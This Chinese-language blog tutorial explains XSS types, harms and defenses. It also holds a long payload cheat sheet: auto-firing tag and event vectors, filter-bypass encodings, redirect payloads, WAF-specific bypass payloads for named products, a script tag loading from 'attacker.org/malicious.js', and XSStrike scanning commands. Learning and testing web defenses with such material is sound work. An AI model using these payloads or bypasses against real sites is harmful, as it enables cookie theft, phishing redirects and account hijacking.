什么是xss攻击?

1.XSS 漏洞简介


XSS(Cross-Site Scripting),中文意为跨站脚本攻击,是一种常见的 Web 安全漏洞。攻击者通过在页面中插入恶意脚本,利用用户浏览器对页面的信任,获取用户的敏感信息或进行其他恶意操作。XSS 分为存储型、反射型和 DOM 型三种类型。存储型 XSS 攻击是指将用户提交的恶意脚本存储在服务器端,当受害者访问该页面时,恶意脚本会被执行。反射型 XSS 攻击是指将恶意脚本作为参数传递给服务器端,服务器端将恶意脚本反射到页面中,当受害者访问该页面时,恶意脚本会被执行。DOM 型 XSS 攻击是指恶意脚本修改了页面中的 DOM 结构,从而达到攻击的目的。为了避免 XSS 攻击,开发人员应对用户输入做严格的限制和过滤,同时对输出的内容进行转义等安全措施。

2.XSS的攻击方式和原理

XSS 的原理是利用用户浏览器对页面信任的特性,注入恶意脚本并使其在浏览器中执行。XSS 攻击主要有三种方式:

  1. 存储型 XSS:恶意脚本被存储在服务器端,用户请求页面时,服务器返回页面内容,用户浏览器解析页面时会执行恶意脚本。
  2. 反射型 XSS:恶意脚本作为参数传递给服务器,服务器将恶意脚本返回给浏览器,浏览器解析页面时会执行恶意脚本。
  3. DOM 型 XSS:恶意脚本通过修改页面的 DOM 结构而执行,它与前两种攻击方式的区别在于,恶意脚本不需要被保存在服务器或反射到页面中,而是直接在页面中被执行。

攻击者利用了页面中存在的漏洞或弱点,通过插入恶意脚本来进行攻击。常见的漏洞或弱点包括未过滤用户输入、未对输出内容进行转义等。对于开发人员来说,为了避免 XSS 攻击,需要对用户输入进行限制和过滤,同时对输出的内容进行转义等安全措施。

3.XSS的危害

1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题

4.XSS的利用方式

XSS 攻击的利用方式主要有以下几种:

  1. 窃取用户信息:攻击者插入恶意脚本,利用 JavaScript 获取用户的敏感信息,如用户的 Cookie、登录凭证等,并发送给攻击者。
  2. 劫持用户会话:攻击者修改页面内容,让用户在不知情的情况下完成某项操作或转账等,从而达到攻击者获利的目的。
  3. 恶意重定向:攻击者通过恶意脚本进行重定向,将用户重定向到钓鱼网站或恶意网站上,进而进行其他的攻击。
  4. 攻击其他用户:攻击者在网站中注入恶意脚本后,可以在用户之间进行攻击传染,如病毒一般扩散。
  5. 篡改网页内容:攻击者可以利用 XSS ,篡改目标网页的内容,插入恶意广告或进行其他修改。

开发人员可以通过采用以下措施来保护网站免受 XSS 攻击的影响:

  • 对所有用户输入的数据进行必要的过滤和转义;
  • 不要信任客户端提交的数据,对数据进行严格的验证;
  • 采用安全框架,限制网站 JavaScript 等的访问权限;
  • 将敏感信息使用加密算法进行加密存储,避免泄露敏感信息。
  • 定期对网站进行渗透测试和漏洞扫描,及时发现和解决 XSS 漏洞。

5.常见XSS攻击方式

一些常用的标签与属性

常见的 XSS 攻击方式有以下几种:

  1. 插入标签触发 XSS:攻击者在被攻击网站的输入框或 URL 中注入恶意脚本,浏览器解析页面时会执行注入的 JavaScript 代码。
  2. 插入外链触发 XSS:攻击者在被攻击网站的输入框或 URL 中插入外部 JavaScript 文件,浏览器加载外部 JavaScript 文件时会执行其中的恶意代码。
  3. 拼接注入触发 XSS:攻击者将恶意代码拼接在被攻击网站中原有的 JavaScript 代码行中,从而触发 XSS 攻击。
  4. 跨站脚本攻击(XSS)和跨站点请求伪造攻击(CSRF)配合使用:攻击者在被攻击网站中注入跨站脚本代码,以窃取用户的信息或者伪造用户请求。
  5. 其他攻击方式:例如基于HTML5的XSS利用、基于DOM的XSS利用等。

开发人员可以通过采取以下措施来预防 XSS 攻击:

  • 对用户的输入进行过滤,并且使用不同的方式对用户输入进行转义。
  • 使用记住用户闪现的方式,避免在浏览器端存储敏感信息。
  • 避免将不可信任的数据直接拼接在 HTML 代码中,使用编程语言提供的字符串拼接函数。
  • 禁止以 JSON 的形式返回纯文本数据,改为以 text/json 或者 application/json 类型返回数据。
  • 每次最小权限原则,将敏感信息,比如密码,加密保存。
  • 避免在 POST 请求中使用 URL 向服务器发送参数,因为这些参数很容易被劫持,导致 XSS 攻击。

下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。

1.scirpt 标签

<script> 标签用于定义客户端脚本,比如 JavaScript。
1
<script>alert(1);</script>
<script>alert("xss");</script>
12

2.img 标签

<img> 标签定义 HTML 页面中的图像。
1
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
12

3.input 标签

<input> 标签规定了用户可以在其中输入数据的输入字段。
1
onfocus 事件在对象获得焦点时发生:
<input onfocus=alert(1);>
12

竞争焦点,从而触发onblur事件:

<input onblur=alert(1) autofocus><input autofocus>
1

input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

<input onfocus="alert(1);" autofocus>
1
" οnclick=alert(1)>        这样需要点击一下输入框<br>
" onmouseover=alert(1)>    需要鼠标划过输入框<br>
12

4.details 标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:

<details ontoggle=alert(1);>
123

使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:

<details open ontoggle=alert(1);>
1

5.svg 标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg onload=alert(1);>
12

6.select 标签

<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select

通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>
12345

7.iframe 标签

<iframe> 标签会创建包含另外一个文档的内联框架。

<iframe onload=alert(1);></iframe>
123

8.video 标签

<video> 标签定义视频,比如电影片段或其他视频流。

<video><source onerror=alert(1)>
123

9.audio 标签

<audio> 标签定义声音,比如音乐或其他音频流。

<audio src=x  onerror=alert(1);>
123

10.body 标签

<body> 标签定义文档的主体。

<body onload=alert(1);>
123

onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:

<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
12

11.textarea 标签

<textarea> 标签定义一个多行的文本输入控件。

<textarea onfocus=alert(1); autofocus>
123

12.keygen 标签

<keygen autofocus onfocus=alert(1)> //仅限火狐
1

13.marquee 标签

<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
1

14.isindex 标签

<isindex type=image src=1 onerror=alert(1)>//仅限于IE
1

6.常见基本过滤方法

1.空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:

/**/,注释符号绕过;/符号绕过;

<img/src="x"/onerror=alert(1);>

也可以:

<img/src="x"onerror=alert(1);>
1234567

2.引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

<img src=x onerror=alert(`xss`);>
123

3.括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
12

4.关键字过滤 大小写绕过

<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
12

双写绕过

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>
12

5.字符串拼接绕过

利用eval()函数

与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。

<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号
123

6.编码绕过

Unicode编码绕过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

javasc&#x72;&#x69;pt:alert(/xss/)     (编码了r和i)

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
1234567
url编码绕过

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
12345
Ascii码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
123
hex绕过

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
123
base64绕过

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
12345

7.过滤url地址

使用url编码

<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

javasc&#x72;&#x69;pt:alert('xsshttp://')
12345
使用IP

1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议

6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
12345678910111213141516171819

8.单引号闭合+htmlspecialchars函数绕过

'onmouseover='alert(/xss/)
1

9.JavaScript伪协议

"><a href=javascript:alert(/xss/)>                  o_n和<scr_ipt>过滤
1

7.HttpOnly绕过

1.什么是HttpOnly?

如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,具体一点的介绍请google进行搜索

2.javaEE的API是否支持?

目前sun公司还没有公布相关的API,但PHP、C#均有实现。搞javaEE的兄弟们比较郁闷了,别急下文有变通实现

3.HttpOnly的设置样例

javaEE response.setHeader(“Set-Cookie”, “cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly”);

具体参数的含义再次不做阐述,设置完毕后通过js脚本是读不到该cookie的,但使用如下方式可以读取 Cookie cookies[]=request.getCookies();

C#
HttpCookie myCookie = new HttpCookie("myCookie");
myCookie.HttpOnly = true;
Response.AppendCookie(myCookie);
1234
VB.NET
Dim myCookie As HttpCookie = new HttpCookie("myCookie")
myCookie.HttpOnly = True
Response.AppendCookie(myCookie)
1234

但是在 .NET 1.1 ,中您需要手动添加 Response.Cookies[cookie].Path += “;HTTPOnly”;

PHP4
header("Set-Cookie: hidden=value; httpOnly");
12
PHP5
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
12

最后一个参数为HttpOnly属性

8.常规waf绕过思路

1.标签语法替换

<scr<script>ipt>alert("XSS")</scr<script>ipt>
1
<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>
12

2.特殊符号干扰

3.提交方式更改

4.垃圾数据溢出

5.加密解密算法

6.结合其他漏洞绕过

下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术

WAF名称:Cloudflare
Payload:<a”/onclick=(confirm)()>click
绕过技术:非空格填充
123
WAF名称:Wordfence
Payload:<a/href=javascript&colon;alert()>click
绕过技术:数字字符编码
123
WAF名称:Barracuda
Payload:<a/href=Java%0a%0d%09script&colon;alert()>click
绕过技术:数字字符编码
123
WAF名称:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
123
WAF名称:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
123
WAF名称:ModSecurity
Payload:<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器
123
WAF名称:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆
123

9.XSStrike工具使用

1.测试一个使用GET方法的网页:

python xsstrike.py -u "http://example.com/search.php?q=query"
1

2.测试POST数据:

python xsstrike.py -u "http://example.com/search.php" --data "q=query"
python xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"} --json'
12

3.测试URL路径:

python xsstrike.py -u "http://example.com/search/form/query" --path
1

4.从目标网页开始搜寻目标并进行测试

python xsstrike.py -u "http://example.com/page.php" --crawl
1

您可以指定爬网的深度,默认2:-l

python xsstrike.py -u "http://example.com/page.php" --crawl -l 3
1

5.如果要测试文件中的URL,或者只是想添加种子进行爬网,则可以使用该–seeds选项:

python xsstrike.py --seeds urls.txt
1

6.查找隐藏的参数:

通过解析HTML和暴力破解来查找隐藏的参数

python xsstrike.py -u "http://example.com/page.php" --params
1

7.盲XSS:爬行中使用此参数可向每个html表单里面的每个变量插入xss代码

python xsstrike.py -u http://example.com/page.php?q=query --crawl --blind
1

8.模糊测试–fuzzer

该模糊器旨在测试过滤器和Web应用程序防火墙,可使用-d选项将延迟设置为1秒。

python xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer
1

9.跳过DOM扫描

在爬网时可跳过DOM XSS扫描,以节省时间

python xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom
1

10.更新:

如果跟上–updata选项,XSStrike将检查更新。如果有更新的版本可用,XSStrike将下载更新并将其合并到当前目录中,而不会覆盖其他文件。

python xsstrike.py --update
1

10.XSS的防御措施
XSS 攻击的防御措施主要包括以下几个方面:

  1. 输入过滤:对用户提交的数据进行过滤和转义,将危险的字符(如 <、> 等)进行转义或删除,过滤掉不合法的字符,从而避免恶意脚本代码被插入到页面中。 
  2. 输出编码:对于输出到页面中的字符(如表单内容、URL 参数等)进行 HTML、JavaScript、CSS 编码处理,从而避免恶意脚本代码在执行时被误认为是真实的页面代码。
  3. 合理设置 Cookie:对于 Cookie 中存储的敏感信息,如用户名、密码等,如果不必要,应该避免使用 Cookie 进行存储。
  4. HttpOnly 和 secure 标记:对于 Cookie,应该在服务器端使用 HttpOnly 标记,防止客户端通过 JavaScript 对 Cookie 进行操作;同时,在需要使用使用 SSL/TLS 协议时,应该对 Cookie 增加 secure 标记,以避免 Cookie 被中间人攻击劫持。
  5. CSP(Content Security Policy):使用 CSP 配置指导浏览器加载资源,限制页面中的 JavaScript 只能从指定的域名和资源中加载,从而有效防御 XSS 攻击。
  6. 操作权限控制:在应用程序中,需要对用户操作进行权限控制,只有拥有足够权限的用户才能进行相应操作。
  7. 安全的编程模式和框架:采用安全的编程模式和框架,避免使用 eval()、document.write()、innerHTML 等危险函数,同时应该定期更新和升级各种软件和库,避免使用过时的版本产生安全漏洞。
  8. 定期进行安全测试:开发人员应该定期进行安全测试,尽早发现和修复系统中的安全漏洞,同时应该了解最新的安全攻击技术和防御措施,从而保障系统的安全性。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
XSS(Cross-Site Scripting,跨站脚本攻击)指的是攻击者利用网站漏洞,将恶意脚本代码注入到网页中,使得其他用户在访问该页面时,恶意脚本会被执行,从而导致攻击者窃取用户的敏感信息或者利用用户的身份进行其他攻击XSS 攻击主要有两种方式:反射型 XSS 和存储型 XSS。反射型 XSS 攻击是指攻击者将恶意脚本代码作为参数传递给网站,网站在返回结果时,将恶意脚本代码反射到了用户的浏览器中执行;存储型 XSS 攻击是指攻击者将恶意脚本代码存储到网站的数据库中,其他用户在访问该网站时,恶意脚本代码会从数据库中读取并执行。 为了防范 XSS 攻击,可以采取以下措施: 1. 过滤用户输入数据,对特殊字符进行转义或者过滤。 2. 对于需要展示用户输入数据的地方,使用白名单机制,只允许特定的 HTML 标签和属性出现。 3. 在网站中添加 CSP(Content Security Policy)策略,限制页面的资源加载和执行。 4. 对于需要展示富文本的地方,使用安全的富文本编辑器,并且对富文本内容进行过滤和转义。 5. 将 Cookie 设置为 HttpOnly,防止脚本代码获取 Cookie 值。 6. 对于需要使用 JavaScript 的地方,使用框架提供的 API,避免直接使用 eval 函数等危险函数。 7. 定期对网站进行漏洞扫描和渗透测试,及时发现和修复漏洞。 综上所述,防范 XSS 攻击需要综合采取多种措施,包括对用户输入数据的过滤、使用白名单机制、添加 CSP 策略、安全的富文本编辑器、设置 HttpOnly Cookie、避免危险函数的使用等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值